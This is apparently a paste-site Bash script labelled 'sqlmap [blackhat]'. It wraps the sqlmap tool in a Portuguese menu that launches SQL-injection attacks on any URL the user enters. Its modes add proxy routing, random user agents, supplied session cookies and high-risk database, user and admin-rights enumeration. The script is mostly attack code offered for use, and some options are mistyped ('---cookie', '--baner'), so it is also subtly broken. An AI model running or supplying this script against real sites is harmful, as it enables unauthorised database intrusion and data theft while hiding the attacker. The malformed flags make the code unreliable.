sqlmap [blackhat]

Download Raw Clone


  1. #! /bin/bash
  2. Geral()
  3. {
  4. clear
  5. sqlmap -u "$URL" --random-agent --batch
  6. }
  7. Mysql()
  8. {
  9. clear
  10. sqlmap -u "$URL" --dbs --dbms=mysql --random-agent --batch
  11. }
  12. Proxy()
  13. {
  14. echo ""
  15. echo -e -n "\033[01;32m Proxy (Ex: http://211.252.169.8): \033[00;37m"
  16. read PROXY
  17. echo ""
  18. echo -e -n "\033[01;33m Porta: \033[00;37m"
  19. read PORTA
  20. clear
  21. # Comando
  22. sqlmap -u "$URL" --proxy="$PROXY:$PORTA" --dbs --random-agent
  23. }
  24. Cookie()
  25. {
  26. echo ""
  27. echo -e -n "-\033[01;32m Cookie (Ex: security=low; PHPSESSID=6kv67sr4tl2ib88io1rf3glsq0): \033[00;37m"
  28. read COOKIE
  29. echo ""
  30. clear
  31. sqlmap -u "$URL" --cookie="$COOKIE" --dbs --random-agent --batch
  32. }
  33. Advanced()
  34. {
  35. echo ""
  36. echo -e -n "\033[01;32m Proxy (Ex: http://211.252.169.8): \033[00;37m"
  37. read PROXY
  38. echo ""
  39. echo -e -n "\033[01;33m Porta: \033[00;37m"
  40. read PORTA
  41. echo ""
  42. echo -e -n "\033[01;34m Cookie (Ex: security=low; PHPSESSID=6kv67sr4tl2ib88io1rf3glsq0): \033[00;37m"
  43. read COOKIE
  44. echo ""
  45. clear
  46. # Comando
  47. sqlmap -u "$URL" ---cookie="$COOKIE" --proxy="$PROXY:$PORTA" --mobile --dbs --level=3 --risk=3 --current-user --current-db --is-dba --baner --batch -v3
  48. }
  49. clear
  50. echo ""
  51. echo -e "\033[01;36m -------------- \033[00;37m"
  52. echo -e "\033[01;34m SQLMAP \033[00;37m"
  53. echo -e "\033[01;36m -------------- \033[00;37m"
  54. echo ""
  55. echo -e "\033[01;31m Ataques \033[00;37m"
  56. echo -e "\033[01;32m [1] Geral \033[00;37m"
  57. echo -e "\033[01;33m [2] Banco [mysql] \033[00;37m"
  58. echo -e "\033[01;34m [3] Proxy \033[00;37m"
  59. echo -e "\033[01;35m [4] Cookie \033[00;37m"
  60. echo -e "\033[01;36m [5] Advanced \033[00;37m"
  61. echo ""
  62. echo -e -n "\033[01;37m Opc: \033[00;37m"
  63. read OPC
  64. echo ""
  65. echo -e -n "\033[01;37m Url: \033[00;37m"
  66. read URL
  67. case $OPC in
  68. 1)
  69. Geral
  70. clear;;
  71. 2)
  72. Mysql
  73. clear;;
  74. 3)
  75. Proxy;;
  76. 4)
  77. Cookie
  78. clear;;
  79. 5)
  80. Advanced
  81. clear;;
  82. *)
  83. ;;
  84. esac

Raw paste data: